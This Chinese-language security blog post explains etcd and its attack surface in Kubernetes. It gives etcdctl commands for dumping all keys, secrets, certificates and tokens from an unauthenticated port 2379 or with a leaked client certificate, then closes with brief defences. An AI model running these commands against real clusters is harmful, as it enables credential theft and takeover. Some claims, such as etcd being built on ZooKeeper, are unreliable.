0x00 前言
本篇还是一样,先来说一说etcd是什么,干啥的,然后再来看看etcd的攻击面到底有哪些,做一个抛砖引玉的作用,如有不妥之处还请斧正
0x01 etcd
依旧还是按照问问题的方式来进行阐述,因为学到的东西终归还是要能讲出来才能更加的了解和深入。
- 什么是etcd
- etcd的特点是什么
- 和redis的区别
- etcd作用的场景
- etcd和zookeeper的区别
- etcd版本区别
1.什么是etcd
etcd是一个可靠的kv存储系统,常用于在分布式系统中存储数据,是一个采用go语言开发的开源的系统。
2. etcd的特点是什么
- 简单,提供面向客户的API
- 安全,SSL认证
- 性能,支持1w+/sec写入
- 可靠,采用Raft协议保证分布式系统数据的可用性和一致性。
Raft是一种分布式一致性协议,相对于Pasox而言更加简单,都旨在解决分布式系统中的数据一致性和高可用性的问题
3.etcd和redis的区别
etcd主要应用场景在于可靠,也就是一致性,redis主要是在于读取性能。
4.etcd的作用场景
- 分布式场景
- 服务注册和发现
- 消息发布和订阅
5.etcd和zookeeper的区别
实际上可以这样理解etcd的原理是基于zookeeper进行实现的,保证了良好的一致性,才让etcd在分布式系统中出人头地~
6.etcd版本区别
在 etcd v2 版本中,客户端采用的是 HTTP+JSON 的方式与 Server 端进行交互。
在 etcd v3 版本中,客户端采用的是 GRPC 的方式与 Server 端进行交互,GRPC是一种效率高于rest接口的接口对接方式,但是对于浏览器的适配度不高,直接客户端到服务端进行交互。gRPC 由于其 protoc 编译器而具有原生代码生成功能,该编译器与多种编程语言兼容。这对于集成了以不同语言和平台开发的各种服务的微服务系统来说尤其方便。
0x02 攻击面
etcd默认端口是2379和2380,2379端口主要是用来http接口通信,2380是和和 peer 通信,这里的peer是raft节点的代表,按照字面理解的话实际上就是内部通信使用的节点。
通常情况下会使用密钥对peer.key和peer.cert来保护etcd成员之间的通信。那么攻击面就出来了。
1.3379端口外网开放+client-cert-auth未授权
虽然外网开放,但是外网开放也是需要权限才可以进行访问的。所以这里需要搭配client-cert-auth未授权来进行利用。
配置文件:/etc/kubernetes/manifests/etcd.yaml
首先注释掉client-cert-auth=true这一行,然后将https改为http。
这里直接访问2379端口
工具操作下载地址:https://github.com/etcd-io/etcd/releases/
利用方式:
etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix
指定输出的格式–write-out=“json”
获取所有的数据
etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix --write-out="json" --write-out="json" > dump.txt
获取secrets
etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / --prefix --keys-only | grep /secrets/
获取证书,这里获取到证书和token就相当于是已经拿下了k8s master,相当于整个k8s已经整个沦陷了。
2.client-cert-auth泄露
泄露的方式有两种,一种是泄露,还有一种就是被人窃取留作后门,泄露的方式多种多样,管理面的以及技术面的,存在任意文件下载,或者读取漏洞等都可能会造成证书的遗失。
利用方式如下:
etcdctl.exe --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.247.156:2379/ --cacert=ca.crt --key=healthcheck-client.key --cert=healthcheck-client.crt endpoint health
其他的利用方式和未授权是一致的。
0x03 防护面
需要做的还是策略向的,比如检查端口是否外网开放,或者是内部开放,最好的还是谁用谁申请,申请后才可以进行使用。
证书的保护机制同密码保护,谁用谁申请,能原地生成就原地生成,使用完之后立刻删除,最好有行为检测,可以通过AI模型计算是否处于异常的使用状态,或者是针对执行的内容进行防护,正常运维很少会使用到一些命令或者操作,如果出现就可以进行标点标记,进行观察以便最快速度进行阻断或者预防。
其实这个点同时可以作为蜜罐,诱导攻击者获取指定权限,从而监控后续操作。
以上。